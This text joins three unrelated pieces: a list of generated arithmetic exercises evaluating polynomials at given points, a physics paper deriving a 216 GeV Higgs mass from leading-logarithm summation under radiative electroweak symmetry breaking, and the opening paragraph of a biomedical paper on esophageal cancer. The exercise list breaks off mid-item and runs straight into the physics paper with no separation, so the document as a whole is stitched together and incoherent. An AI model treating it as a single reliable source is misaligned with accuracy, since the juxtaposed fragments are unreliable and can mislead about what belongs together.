Let p(q) = 8*q**2 + 145*q - 216. Calculate p(-20).
84
Let t(x) = -15*x + 166. Calculate t(21).
-149
Let q(y) = y**3 + 20*y**2 + 44*y - 190. What is q(-17)?
-71
Let a(y) = -1091*y + 62. Give a(0).
62
Let m(d) = -10*d + 221. Calculate m(19).
31
Let h(l) = 45*l + 366. What is h(-8)?
6
Let w(z) = z**3 + 11*z**2 - 202*z - 21. Calculate w(8).
-421
Let q(n) = n**3 - 34*n**2 + 43*n - 208. Determine q(33).
122
Let z(d) = -3*d**3 - 22*d**2 + 6*d + 101. Determine z(-8).
181
Let m(v) = v + 73. Give m(-18).
55
Let v(p) = p**3 - 68*p**2 + 250*p + 382. Give v(64).
-2
Let r(c) = -345*c + 1633. Give r(5).
-92
Let h(x) = -x**3 + 16*x**2 - 31*x + 40. Give h(14).
-2
Let g(i) = -41*i + 6222. Calculate g(152).
-10
Let x(p) = 14*p - 566. Determine x(55).
204
Let i(u) = 31*u - 1437. Determine i(47).
20
Let f(t) = -332*t + 2958. Determine f(9).
-30
Let r(b) = -2*b**2 - 5*b + 283. What is r(-13)?
10
Let h(c) = -83*c + 13118. Give h(158).
4
Let k(h) = -h**3 + 8*h**2 + 58*h + 88. Give k(13).
-3
Let p(m) = m**3 - 18*m**2 - 3*m + 180. Calculate p(17).
-160
Let v(k) = 2*k**2 + 24*k - 19. Calculate v(-13).
7
Let z(o) = -3*o**2 + 27*o + 565. Give z(19).
-5
Let r(i) = -3*i**3 + 3*i**2 + 13*i + 11. Give r(-5).
396
Let y(u) = -5*u**3 + 12*u**2 - 38*u + 47. Calculate y(5).
-468
Let h(v) = -v**3 - 16*v**2 + 135*v + 63. Calculate h(-22).
-3
Let o(d) = -22*d**3 + 5*d**2 + 17*d - 22. Determine o(1).
-22
Let t(f) = -8*f**3 + 2*f**2 + 10*f - 19. Give t(3).
-187
Let m(h) = h**3 + 139*h**2 - 719*h + 3. What is m(5)?
8
Let c(g) = g**2 - 2*g - 1515. Give c(40).
5
Let k(a) = 33*a**2 + 382*a + 123. Determine k(-11).
-86
Let c(l) = l**3 - 2*l**2 + 141*l - 1857. What is c(9)?
-21
Let c(h) = -h**3 + 12*h**2 - 8*h - 6. Calculate c(11).
27
Let m(f) = 8*f**3 - 19*f**2 + 3*f + 9. What is m(4)?
229
Let u(z) = 2*z**3 - 37*z**2 + 68*z + 156. Give u(16).
-36
Let p(m) = 3*m**2 + 31*m + 27. Give p(-10).
17
Let s(m) = -m**2 + 5*m + 45. Give s(13).
-59
Let a(g) = -g**3 + 28*g**2 - 6*g + 41. What is a(28)?
-127
Let w(a) = -255*a + 176. What is w(2)?
-334
Let b(z) = -z**2 - 131*z + 22116. Determine b(-228).
0
Let z(w) = 27*w + 589. Calculate z(-22).
-5
Let t(m) = 16*m + 183. What is t(-12)?
-9
Let a(n) = -71*n - 46. Give a(3).
-259
Let n(t) = 49*t**2 + 8086*t + 156. Determine n(-165).
-9
Let l(a) = -2154*a - 17248. Give l(-8).
-16
Let c(y) = -8*y + 85. Calculate c(-2).
101
Let o(q) = -3*q**3 + q**2 + 12*q + 83. Determine o(-5).
423
Let q(z) = -1420*z**2 + 7101*z - 4. Calculate q(5).
1
Let v(f) = 2*f**3 - 15*f**2 - 524*f + 4110. What is v(8)?
-18
Let k(l) = l**2 - 769*l - 41826. Calculate k(-51).
-6
Let h(q) = q**2 - 143*q - 190702. What is h(-371)?
-8
Let t(v) = 2*v**3 - 9*v**2 - 36*v - 1. Give t(9).
404
Let b(m) = -2*m**2 - 4*m + 91. What is b(-8)?
-5
Let c(l) = -108*l - 978. Calculate c(-9).
-6
Let p(t) = t**3 + 2*t**2 + t + 15. Calculate p(0).
15
Let s(t) = -t**3 - 41*t**2 + 130*t + 161. Determine s(-44).
249
Let f(k) = k**3 - 50*k**2 + 31*k + 886. Determine f(49).
4
Let d(n) = -21*n - 176. Give d(-4).
-92
Let v(k) = 2*k**2 + 1118*k - 3366. What is v(3)?
6
Let u(m) = -m**3 - 46*m**2 + 95*m - 34. Calculate u(-48).
14
Let p(s) = 2*s**3 + 61*s**2 + 365*s + 48. Calculate p(-8).
8
Let y(p) = -2*p**2 - 37*p - 162. What is y(0)?
-162
Let s(h) = -h**3 - 18*h**2 + 21*h + 644. Determine s(-17).
-2
Let h(i) = 18*i**2 - 241*i - 22. Determine h(14).
132
Let s(v) = -3*v**2 - 44*v - 12. Determine s(-15).
-27
Let t(s) = s**3 - 18*s**2 + 15*s - 26. Give t(16).
-298
Let k(q) = 11*q - 148. What is k(7)?
-71
Let c(h) = -216*h + 1975. Calculate c(9).
31
Let v(i) = i**3 - 137*i**2 + 1720*i + 21. Give v(14).
-7
Let t(r) = -117*r + 1643. Determine t(14).
5
Let z(s) = -2*s**3 + 71*s**2 + 31*s + 196. Give z(36).
16
Let l(o) = 205*o + 241. Give l(2).
651
Let m(s) = s**3 + 6*s**2 + s + 16. Give m(-6).
10
Let x(d) = -99*d - 1485. Calculate x(-15).
0
Let u(o) = -o**2 + 11*o - 36. Determine u(3).
-12
Let i(j) = j**3 - 12*j**2 - 158*j - 29. Give i(20).
11
Let g(p) = -p**3 + 13*p**2 + 41*p - 2. Give g(-3).
19
Let q(m) = -m**3 + 20*m**2 - 1040*m + 19391. Calculate q(19).
-8
Let l(a) = -a**3 - 113*a**2 + 968*a + 41. Determine l(8).
41
Let d(u) = 55*u**2 + 5722*u + 207. Determine d(-104).
-1
Let h(l) = 90*l**2 - 778*l - 295. Give h(9).
-7
Let n(k) = 10*k**2 - 10*k - 71. Determine n(-5).
229
Let g(q) = q**2 - 18*q - 90. Determine g(19).
-71
Let z(o) = o**3 - 4*o**2 - 28*o - 49. Determine z(-2).
-17
Let f(v) = v**2 + 7*v - 7. What is f(7)?
91
Let m(y) = -y**3 + 7*y**2 + 15*y + 26. Calculate m(9).
-1
Let b(g) = -g**2 - 47*g - 32. Calculate b(-47).
-32
Let j(w) = -w**3 + 9*w**2 - 45*w + 289. Give j(8).
-7
Let k(y) = 3*y**2 + 3*y - 22. Determine k(-6).
68
Let i( |
---
abstract: 'In the empirically sensible limit in which QCD, $t$-quark Yukawa, and scalar-field-interaction coupling constants dominate all other Standard-Model coupling constants, we sum all leading-logarithm terms within the perturbative expansion for the effective potential that contribute to the extraction of the Higgs boson mass via radiative electroweak symmetry breaking. A Higgs boson mass of $216 \; GeV$ emerges from such terms, as well as a scalar-field-interaction coupling constant substantially larger than that anticipated from conventional spontaneous symmetry breaking. The sum of the effective potential’s leading logarithms is shown to exhibit a local minimum in the limit $\phi \rightarrow 0$ if the QCD coupling constant is sufficiently strong, suggesting (in a multiphase scenario) that electroweak physics may provide the mechanism for choosing the asymptotically-free phase of QCD.'
author:
- 'V. Elias'
- 'R. B. Mann'
- 'D. G. C. McKeon'
- 'T. G. Steele'
title: 'Consequences of Leading-Logarithm Summation for the Radiative Breakdown of Standard-Model Electroweak Symmetry'
---
[ address=[Department of Applied Mathematics, The University of Western Ontario,\
London, Ontario N6A 5B7, Canada]{} ,altaddress=[Perimeter Institute for Theoretical Physics, 35 King Street North, Waterloo, ON N2J 2W9, Canada]{} ]{}
[ address=[Perimeter Institute for Theoretical Physics, 35 King Street North, Waterloo, ON N2J 2W9, Canada]{}, ,altaddress=[Department of Physics, University of Waterloo, Waterloo, ON N2L 3G1, Canada]{} ]{}
[ address=[Department of Applied Mathematics, The University of Western Ontario,\
London, Ontario N6A 5B7, Canada]{} ]{}
[ address=[Department of Physics and Engineering Physics, University of Saskatchewan,\
Saskatoon, Saskatchewan S7N 5E2, Canada]{} ]{}
1. Radiative Electroweak Symmetry Breaking
==========================================
Radiative symmetry breaking, in which a vacuum expectation value arises from radiative corrections to a potential with no quadratic mass term, was first addressed in a classic paper by S. Coleman and E. Weinberg [@1]. Unlike conventional symmetry breaking, in which an arbitrary but negative mass term leads to a correspondingly arbitrary Higgs boson mass, the radiative scenario for electroweak symmetry breaking necessarily predicts the Higgs boson mass as well as the magnitude of the quartic scalar-field interaction coupling constant $\lambda$. Unfortunately, the first such predictions preceded the discovery of the top-quark, whose large Yukawa coupling dominates all one-loop radiative effects. Indeed, the large magnitude of this coupling constant destroys not only the applicability of Coleman and Weinberg’s prediction for the Higgs mass (which is far below present empirical lower bounds), but also the use of a purely one-loop potential to make *any* such predictions via radiative symmetry breaking [@2]. The only hope for the program of radiative symmetry breaking for electroweak physics is to include radiative effects past one-loop order. In the present work, we demonstrate how renormalization-group methods permit one to extract *all* contributing leading-logarithm contributions to the Higgs boson mass, as well as some surprising results from the summation of leading logarithms in the zero field limit.
2. Leading Logarithms and the Higgs Boson Mass
==============================================
The dominant couplants of the single-Higgs-doublet standard model are the $t$-quark Yukawa couplant $\left( x \equiv g_t^2(v)/4\pi^2 = 2m_t^2/(2\pi v)^2 = 0.0253\right)$, the QCD gauge couplant $\left( z \equiv \alpha_s (v) /4\pi^2 = 0.0329\right)$ as evolved from $\alpha_s (M_Z) = 0.12$ [@3], and the unknown quartic scalar couplant $y \equiv \lambda(v) / 4\pi^2$, where $v = 2^{-1/4} G_F^{-1/2} = 246 \; GeV$ is the expectation value characterizing the breakdown of electroweak symmetry. The remaining Yukawa and gauge couplants are all small compared to these three couplants, and are therefore ignored in the treatment which follows.
The effective potential of an $SU(2)\times U(1)$ single-Higgs-doublet $(\phi)$ theory in which a quadratic mass term is absent $\left( V_{tree} = \lambda(\phi^\dag \phi)^2 / 4 \equiv \lambda \phi^4 / 4 \right)$ satisfies the renormalization-group (RG) equation
$$\begin{aligned}
%1
0 & = & \mu \frac{d}{d\mu} V \left[ \lambda(\mu), g_t (\mu), g_3 (\mu), \phi^2
(\mu), \mu \right] \nonumber\\
& = & \left( \mu \frac{\partial}{\partial\mu} + \beta_\lambda \frac{\partial}{%
\partial \lambda} + \beta_t \frac{\partial}{\partial g_t} + \beta_3 \frac{%
\partial}{\partial g_3} - 2\gamma \phi^2 \frac{\partial}{\partial \phi^2}
\right) V \left( \lambda, g_t, g_3, \phi^2, \mu \right),\end{aligned}$$
This potential may be expressed in the form $$%2
V = \pi^2 \phi^4 \sum_{n=0}^\infty x^n \sum_{k=0}^\infty y^k \sum_{\ell = 0}^\infty z^\ell \sum_{p=0}^{n+k+\ell - 1} L^p \; D_{n,k,\ell,p}, \; [D_{0,1,0,0} = 1, \; D_{1,0,0,0} = D_{0,0,1,0} = 0],$$ with the logarithm $L \equiv \log (\phi^2 / \mu^2)$ referenced to an arbitrary renormalization scale $\mu$. The leading logarithm contributions to this potential arise when $p = n + k + \ell - 1$, i.e., when the degree of the logarithm is only one less than the sum of the powers of the three contributing couplants. If we define $C_{n,k,\ell} \equiv D_{n,k,\ell, n + k + \ell - 1}$, such coefficients of the leading logarithm series, $$\begin{aligned}
%3
V_{LL} & = & \pi^2 \phi^4 S_{LL} = \pi^2 \phi^4 \left\{\sum_{n=0}^\infty x^n
\sum_{k=0}^\infty y^k \sum_{\ell=0}^\infty z^{\ell} C_{n, k, \ell}
L^{n+k+\ell-1} \right\},\nonumber\\
&& C_{0,0,0} = C_{1,0,0} = C_{0,0,1} = 0, \; \; C_{0,1,0} = 1, \end{aligned}$$ may be obtained via the explicit one-loop RG functions [@2; @4] appearing in Eq. (1): $$%4
\left[ -2 \frac{\partial}{\partial L} + \left( \frac{9}{4} x^2 - 4xz \right)
\frac{\partial}{\partial x} + \left( 6y^2 + 3yx - \frac{3}{2} x^2 \right)
\frac{\partial}{\partial y} -\frac{7}{2} z^2 \frac{\partial}{\partial z} -
3x \right] S_{LL} (x,y,z,L) = 0.$$ One can solve this equation for successive powers of $L$. For example, the aggregate coefficient of $L^0$ is given by $$%5
- 2 \left( C_{0,2,0} \; y^2 + C_{2,0,0} \; x^2 + C_{0,0,2} \; z^2 +
C_{1,1,0} \; xy + C_{1,0,1} \; xz + C_{0,1,1} yz \right) + 6y^2 - \frac{3}{2}
x^2 = 0,$$ in which case $C_{0,2,0} = 3$, $C_{2,0,0} = -\frac{3}{4}$, and the remaining degree-2 coefficients within Eq. (3) are zero: $$%6
S_{LL} = y + 3y^2 L - \frac{3}{4} x^2 L + \ldots = \frac{\lambda}{4\pi^2} +
\left( \frac{3\lambda^2}{16\pi^4} - \frac{3g_t^4}{64\pi^4} \right) \log
\left( \frac{\phi^2}{\mu^2} \right) + \ldots$$ Eq. (6) corresponds to the ${\cal{O}}(\lambda^2, g_t^2)$ diagrammatic contributions to the $SU(2) \times U(1)$ effective potential $\left( V_{LL} = \pi^2 \phi^4 S_{LL} \right)$ calculated in ref. [@1]. Such a brute-force approach can be utilized to obtain all subsequent $C_{n,k,\ell}$ coefficients. The extraction of a Higgs boson mass, however, is sensitive only to terms in $S_{LL}$ of degree-4 or less in $L$. These terms are given by $$%7
S_{LL} = y + BL + CL^2 + DL^3 + EL^4 + \ldots$$ where [@5] $$%8
B = 3y^2 - \frac{3}{4} x^2,$$ $$%9
C = 9y^3 + \frac{9}{4} xy^2 - \frac{9}{4} x^2 y + \frac{3}{2} x^2 z - \frac{9%
}{32} x^3,$$ $$%10
D = 27 y^4 + \frac{27}{2} x y^3 - \frac{3}{2} xy^2 z + 3x^2 yz - \frac{225}{%
32} x^2y^2 - \frac{23}{8} x^2z^2 + \frac{15}{16} x^3z - \frac{45}{16} x^3 y
+ \frac{99}{256} x^4,$$ $$\begin{aligned}
%11
E & = & 81y^5 + \frac{243}{4} xy^4 - 9xy^3z + \frac{45}{32} x y^2 z^2 - \frac{%
69}{16} x^2 yz^2 - \frac{135}{8} x^2 y^3 + \frac{531}{64} x^2 y^2 z \nonumber\\
& + & \frac{345}{64} x^2 z^3 - \frac{603}{256} x^3 z^2 + \frac{207}{32} x^3 yz
- \frac{8343}{512} x^3 y^2 - \frac{459}{512} x^4 z + \frac{135}{512} x^4 y +
\frac{837}{1024} x^5.\nonumber\\\end{aligned}$$
We emphasize that Eqs. (7) - (11) represent the sum of *all* leading-logarithm terms contributing to the Higgs boson mass in the radiatively-broken single-Higgs-doublet standard model. The extraction of a mass proceeds in the same manner as described in ref. [@1] for the one-loop potential. After subtractions, $V$ will contain a finite $K \phi^4$ counterterm, $$%12
V = \pi^2 \phi^4 (S_{LL} + K),$$ whose magnitude is determined by renormalization conditions. Formally this counterterm may be identified with the sum of non-leading $p = 0$ contributions to Eq. (2), $$%13
K = \sum_{n=0}^\infty \sum_{k=0}^\infty \sum_{\ell = 0}^\infty x^n y^k z^\ell D_{n,\ell, k, 0}, \; \;\; n+k+\ell \geq 2.$$ This sum represents a combination of non-leading logarithm contributions to $V$, a sum of terms in Eq. (2) whose couplants have an aggregate power at least two larger than the power (zero) of the logarithm. Consequently, the counterterm $K$ is not RG-accessible via Eq. (4), but must be determined by a set of renormalization conditions. In the complete absence of a bare $\phi^2$ mass term, note also that the potential will not generate a renormalized $\phi^2$ term; the (external-to-Standard-Model) symmetry that would permit a conformally invariant tree-potential [@2] will be preserved within the context of a gauge-invariant regularization procedure [@6].
The set of renormalization conditions we employ at the choice $\mu = v$ for renormalization scale are the same as in ref. [@1]: $$%14
\left. \frac{dV}{d\phi}\right|_v =0, \; \; \left. \frac{d^2 V}{d\phi^2}\right|_v = m_\phi^2, \; \; \left. \frac{d^4 V}{d \phi^4}\right|_v = \frac{d^4}{d\phi^4} \left( \frac{\lambda \phi^4}{4} \right) = 24\pi^2 y$$ which respectively imply that $$%15
4(y + K) + 2B = 0$$ $$%16
\pi^2 v^2 (12y + 12K + 14B + 8C) = m_\phi^2$$ $$%17
24(y+K) + 100B + 280C + 480D + 384E = 0.$$ Note from Eqs. (8) - (11) that $B$, $C$, $D$ and $E$ are all functions of the undetermined couplant $y$, as $x$ and $z$ are known empirically. Consequently, the factor of $y+K$ can be eliminated between Eqs. (15) and (17) to obtain a fifth-order equation for $y$ with three real solutions, $\left\{ 0.0538, -0.278, -0.00143 \right\}$. For a given choice of solution, the coefficients $\left\{ B, C, D, E \right\}$ are numerically determined. One finds from Eqs. (15) and (16) that the respective values for the square of the Higgs mass $(=8\pi^2 v^2 (B+C))$ are positive only for the first two choices for $y$, of which only the first has any likelihood of perturbative stability (see below); we thus find for $y = 0.0538$ that $m_\phi = 216 \; GeV$.
3. Phenomenological Viability and Consequences
==============================================
The estimate $m_\phi = 216 \; GeV$ is much larger than the ${\cal{O}}(10 \; GeV)$ estimate obtained from radiative symmetry breaking [@1] in the absence of any empirical knowledge of the $t$-quark. The $216 \; GeV$ estimate is also within striking distance of the indirect 95% confidence-level phenomenological bound $m_\phi \leq 196 \; GeV$ [@3] obtained from $\log(m_\phi)$ factors in radiative corrections to $m_W$, $m_Z$ and $\Gamma_Z$. However, the viability of this estimate rests upon its stability under subsequent (next-to-leading logarithm) corrections, which we are not yet able to compute.
If residual renormalization-scale dependence of the potential is indicative of the magnitude of such subsequent corrections, we have found that the extimate $m_\phi = 216 \; GeV$ is quite stable. If we allow $\mu$ to vary from $v/2$ to $2v$ within leading-logarithm (but not counterterm [^1]) contributions to the potential, with concomitant evolution of $x(\mu)$, $y(\mu)$ and $z(\mu)$ from known values at $\mu = v$, and $\phi(\mu)$ from its input value $\phi(\equiv \phi(v))$, we find the corresponding range of values for $m_\phi$ to vary between $208$ and $217 \; GeV$ [@5]. Although the $y = 0.0538$ value we obtain from Eqs. (15) and (17) is much larger than the quartic scalar-interaction couplant $(\lambda/4\pi^2)$ that would arise from generating a $216 \; GeV$ Higgs mass via conventional (non-radiative) symmetry breaking, this large couplant still appears to be perturbative. In the limit $y >> x,z$, the scalar-field sector of the Standard Model decouples into an $O(4)$-symmetric scalar field theory whose $\beta$- and $\gamma$-functions are known to five-loop order [@7]: $$%18
\lim_{\stackrel{_{x \rightarrow 0}}{_{z \rightarrow 0}}} \mu \frac{dy}{d\mu}
= 6y^2 - \frac{39}{2} y^3 + 187.85y^4 - 2698.3y^5 + 47975 y^6 + \ldots \; \; ,$$ $$%19
\lim_{\stackrel{_{x \rightarrow 0}}{_{z \rightarrow 0}}}
\gamma \;\; \sim \;\; y^2 \left[ 1 - \frac{3}{2} y + \frac{195}{16} y^2 - 132.9 y^3 +
...\right].$$ Both series above decrease monotonically when $y = 0.0538$, consistent (though barely so) with $y$ being sufficiently small to be perturbative.
As noted above, the salient phenomenological signature of radiative (as opposed to conventional) electroweak symmetry breaking appears to be the pairing of an empirically viable Higgs mass with a large scalar-field interaction couplant. In conventional symmetry breaking a $216 \; GeV$ Higgs corresponds to a quartic scalar couplant $y = m_\phi^2/(8\pi^2 v^2) = 0.0093$, as opposed to the value $0.0538$ obtained above. Consequently, $y$-sensitive processes such as the longitudinal channel for $W^+ W^- \rightarrow ZZ$ scattering, in which $\sigma \sim y^2$ [@8], should serve to distinguish between the two approaches to symmetry breaking, with *an order of magnitude enhancement* predicted for the radiative case.
4. Large Logarithm Behaviour
============================
A salient motivation for summing the leading logarithms of any given process is to ascertain the large logarithm limit of that process, since leading logarithm terms dominate all subsequent terms when the logarithm is itself large. In the case of the Standard-Model effective potential, the large logarithm limit corresponds either to $|\phi| \rightarrow \infty$ or $\phi \rightarrow 0$ behaviour of the potential. To extract this behaviour, we first express the leading-logarithm series $S_{LL}$ in the form $$%20
S_{LL} = y F_0 (w, \zeta) + \sum_{n=1}^\infty x^n L^{n-1} F_n (w, \zeta), \; \; \zeta \equiv zL, \; \; w \equiv 1 - 3yL.$$ If we substitute Eq. (20) into the RG equation (4), we obtain the following recursive set of partial differential equations [@5]
$$%21
\zeta \left( 1 + \frac{7}{4} \zeta \right) \frac{\partial}{\partial \zeta}
F_0 (w, \zeta) = (1 - w) \left[ w\frac{\partial}{\partial w} + 1 \right] F_0
(w, \zeta),$$
$$%22
\left[ \zeta \left( 1 + \frac{7}{4} \zeta \right) \frac{\partial}{\partial
\zeta} + 2\zeta + (w - 1) w \frac{\partial}{\partial w} \right] F_1 (w,
\zeta) = -\frac{(w-1)^2}{2} \frac{\partial}{\partial w} F_0 (w, \zeta),$$
$$\begin{aligned}
%23
&& \left[ \zeta \left( 1 + \frac{7}{4} \zeta \right) \frac{\partial}{\partial
\zeta} + (w-1) w \frac{\partial}{\partial w} + (1 + 4\zeta) \right] F_2 (w,
\zeta)\nonumber\\
& = & \left[ \frac{3}{2} (w-1) \frac{\partial}{\partial w} -
\frac{3}{8} \right] F_1 (w, \zeta) - \frac{3}{4} \left[ (w-1) \frac{\partial%
}{\partial w} + 1 \right] F_0 (w, \zeta),\end{aligned}$$
$$\begin{aligned}
%24
&& \left[ \zeta \left(1 + \frac{7}{4} \zeta \right) \frac{\partial}{\partial
\zeta} + (w-1) w \frac{\partial}{\partial w} + (k-1 + 2k \zeta) \right] F_k
(w, \zeta)\nonumber \\
& = & \left[ \frac{3(3k-7)}{8} + \frac{3}{2} (w-1) \frac{%
\partial}{\partial w} \right] F_{k-1} (w, \zeta) + \frac{9}{2} \frac{%
\partial F_{k- 2}}{\partial w} (w, \zeta), \; \; \; (k \geq 3).\end{aligned}$$
Given that $F_0 (1,0) = 1$, i.e., that $S_{LL} \rightarrow y$ as $L \rightarrow 0$, one finds from Eq. (21) that $$%25
F_0 (w,\zeta) = 1/w.$$ One then finds that the only solution to Eq. (22) for $F_1(w,\zeta)$ that is non-singular at $\zeta = 0$ \[i.e. non-singular when QCD is turned off $(z = 0)$\] is $$\begin{aligned}
%26
F_1 (w, \zeta) & = & \left[ \frac{6\zeta + 4[1-(1+7\zeta/4)^{6/7}]}{3\zeta^2}\right] \left( \frac{w-1}{w}\right)^2\nonumber\\
& = & \left[ \frac{1}{4} - \frac{\zeta}{6} + \frac{5}{32} \zeta^2 + \; \ldots \right]\left( \frac{w-1}{w} \right)^2 .\end{aligned}$$
Solutions of the form $$%27
F_p(w,\zeta) = \sum_{k=0}^{p+1} f_{p,k} (\zeta) \left[ \frac{w-1}{w}\right]^k$$ can be found by straightforward means from Eqs. (23) and (24). For the $p = 2$ case, we find that $$%28
f_{2,0}(\zeta )=\left[ Z^{-9/7}-1\right] /3\zeta ,$$ $$%29
f_{2,1}(\zeta )=\left[ 2\zeta -4(1-Z^{-2/7})\right] /3\zeta ^{2},$$ $$%30
f_{2,2}(\zeta )=\left[ 20+71\zeta /2-\zeta ^{2}+22Z^{5/7}-42Z^{6/7}\right]
/3\zeta ^{3},$$ $$%31
f_{2,3}(\zeta )=\left[ -16-48\zeta -36\zeta
^{2}+32Z^{6/7}/7-16Z^{12/7}+192Z^{13/7}/7\right] /3\zeta ^{4},$$ where $Z \equiv 1 + 7\zeta/4$. For $p \geq 3$ we find from Eq. (24) that $$\begin{aligned}
%32
0 & = & \left( \left[ (7\zeta ^{2}/2)\frac{d}{d\zeta }+4p\zeta \right] +\left[
2\zeta \frac{d}{d\zeta }+2(p-1)+2k\right] \right) f_{p,k}(\zeta ) \nonumber\\
& - &\left[ (9p-21)/4+3k\right] f_{p-1,k}(\zeta )+3(k-1)f_{p-1,k-1}(\zeta ) \nonumber\\
& - & \left[ 9(k-1)/2\right] f_{p-2,k-1}(\zeta )+9kf_{p-2,k}(\zeta )-\left[
9(k+1)/2\right] f_{p-2,k+1}(\zeta ),\end{aligned}$$ where $f_{p,k}\equiv 0$ when $k<0$ or $k>p+1$.
In the large $L$ limit, one finds from Eqs. (25) - (31) that the leading terms in the series (20) exhibit the following large-$L$ behaviour: $$%33
y \; F_0 \rightarrow - \frac{1}{3L}, \; \; \; x \; F_1 \rightarrow \frac{2}{L} \left( \frac{x}{z}\right), \; \; \; x^2 \; L F_2 \rightarrow -\frac{3}{2L} \left( \frac{x}{z} \right)^2.$$ Moreover, since $(w - 1) / w \rightarrow 1$ when $|L| \rightarrow \infty$, we find that $F_n \rightarrow \sum_{k=0}^{n+1} f_{n,k} (\zeta)$. We then find in the large $L$ (hence large-$\zeta$) limit of Eq. (32) that $$%34
\left( \frac{7}{4} \zeta^2 \frac{d}{d\zeta} + 2n \zeta \right) F_n = \frac{%
3(3n-7)}{8} F_{n-1}, \; \; ( n \geq 3 ). \label{eq8.17}$$ a result that follows from the relations $$%35
\sum_{k=0}^{p+1} \left[ k f_{p-1, k} - (k-1) f_{p-1, k-1} \right] = 0,$$ $$%36
\sum_{k=0}^{p+1} \left[ - (k-1) f_{p-2, k-1} + 2k f_{p-2, k} - (k+1) f_{p-2, k+1}\right]=0,$$ \[Note $f_{p, k} = 0$ if $k > p+1$ or $k < 0$\]. One then finds from Eqs. (33) and (34) that for $n > 2$, $$%37
F_n \rightarrow a_n \zeta^{-n}, \; \; a_n = \frac{3(3n-7)}{2n} a_{n-1}, \; \; a_2 = - 3/2.$$ The results (33) and (37) permit explicit summation of the series (20) in the large $L$ limit, provided $x/z$ is sufficiently small [@5]: $$%38
V_{eff} \begin{array}{c}
{} \\
_{\longrightarrow} \\
^{|L| \rightarrow \infty}
\end{array}
\pi^2 \phi^4 S_{LL} \rightarrow - \frac{\pi^2 \phi^4}{3L} \left[1 - \frac{9x}{2z} \right]^{4/3}, \; \; \; 0 \leq x/z \leq 2/9.$$
5. Footprints of New Physics
============================
If $x/z > 2/9$, the series (20) is outside its radius of convergence, and the result (38) is no longer applicable. The result (38), therefore, is not relevant to empirical Standard-Model physics, for which $z = \alpha_s(v)/\pi = 0.033$, $x = 1.0/(4\pi^2)= 0.025$. However, this result *is* of interest if QCD exhibits more than one phase.
Two phases for the evolution of the gauge coupling constant are known to characterize the exact $\beta$-function for N = 1 supersymmetric Yang-Mills theory in the absence of matter fields \[9\]. An asymptotically-free phase in which the gauge couplant is weak is accompanied by an additional non-asymptotically-free strong-couplant phase. Both weak and strong couplants evolve toward a common value at an infrared-attractive momentum scale, which serves as a lower bound on the domain of perturbative physics.
Pade approximant arguments have recently been advanced [@10] in support of QCD being characterized by similar two-phase behaviour. If such is the case, a very natural explanation emerges for the transition at $\mu \simeq m_\rho$ from QCD as a perturbative gauge theory of quarks and gluons to QCD as an effective theory of strongly-interacting hadrons [@10; @11]. However, within such a picture, there needs to be a mechanism for understanding why the “weak” asymptotically-free phase is the one we observe.
Eq. (38) shows an effective potential that approaches zero from above as $\phi \rightarrow 0$. Consequently, when the QCD couplant is sufficiently large, the effective potential exhibits a local *minimum* at $\phi = 0$. Since the potential is itself zero at this minimum, whereas the empirical (weak-phase) potential is negative at its $\phi = v$ minimum, we see that the weaker of the two phases may be energetically-preferred by (radiatively-broken) electroweak symmetry.
As a final note, the large value for $y(v) = 0.0538$ emerging from radiative symmetry breaking suggests that the evolution of this couplant $[\mu(dy/d\mu) = 6y^2 + \ldots]$ is characterized by a Landau pole at (or below) $\mu = v \exp \{1/[6y(v)]\} \simeq 5.5 \; TeV$. Such a bound on the scale for new physics corresponds explicitly to the singularity at $w (= 1 - 3yL) = 0$ characterizing successive factors $x^p L^{p-1} F_p(w,\zeta)$ \[Eq. (27)\] within the leading-logarithm series (20). Thus, we can hopefully anticipate empirical evidence for the onset of new physics (or embedding symmetry) if electroweak symmetry is radiatively broken.
We are grateful to the Natural Sciences and Engineering Research Council of Canada for support of this research.
[99]{}
S. Coleman and E. Weinberg,*Phys. Rev.* [**D 7**]{}, 1888 (1973) M. Sher, [*Phys. Rep.*]{} [**179**]{}, 273 (1989) Particle Data Group \[K. Hagiwara et al.\], [*Phys. Rev.*]{} [**D 66**]{}, 1 (2002) T. P. Cheng, E. Eichten and L. -F. Li, [*Phys. Rev.*]{} [**D 9**]{}, 2259 (1974); M. B. Einhorn and D. R. T. Jones, [*Nucl. Phys.*]{} [**B 211**]{}, 29 (1983); M. J. Duncan, R. Philippe and M. Sher, [*Phys. Lett.*]{} [**B 153**]{}, 165 (1985) V. Elias, R. B. Mann, D. G. C. McKeon and T. G. Steele, hep-ph/0304153. J. C. Collins, [*Phys. Rev.*]{} [**D 10**]{}, 1213 (1974) H. Kleinert, J. Neu, V. Schulte-Frohlinde, K. G. Chetyrkin and S. A. Larin, [*Phys. Lett.*]{} [**B 272**]{}, 39 (1991); [**B 319**]{}, 545 (E) (1993) U. Nierste and K. Riesselmann, [*Phys. Rev.*]{} [**D 53**]{}, 6638 (1996) I. I. Kogan and M. Shifman, *Phys. Rev. Lett.* [**75**]{}, 2085 (1995); see also V. Elias, *J. Phys.*[**G 27**]{}, 217 (2001) regarding D. R. T. Jones, *Phys. Lett.*[**B 123**]{}, 45 (1983) F. A. Chishtie, V. Elias, V. A. Miransky and T. G. Steele, *Prog. Theor. Phys.* [**104**]{}, 603 (2000) F. A. Chishtie, V. Elias and T. G. Steele, *Phys. Lett.* [**B 514**]{}, 279 (2001)
[^1]: We assume $K\phi^4$ to be RG-invariant in the one-loop sense, since the counterterm corresponds to a sum of subsequent-to-leading logarithm contributions, as noted above.
|
Background
==========
Esophageal cancer, an aggressive upper gastrointestinal malignancy, generally presents as a locally advanced disease and requires a multimodal concept. Despite improvements in its detection and management, the prognosis in patients with esophageal cancer remains poor, with a 5-year survival of 15--34% \[[@B1],[@B2]\]. Most patients who undergo curative treatment for esophageal cancer will eventually relapse and die as a result of their disease. Neoadjuvant chemoradiotherapy (CCRT) can increase the chance of R0 resection, and responders will have a survival benefit \[[@B3]\]. Patient selection is important to guide multidisciplinary therapy. The identification of potential molecular markers to predict response to CCRT and recurrence is important for the effective management and prognosis of esophageal cancer.
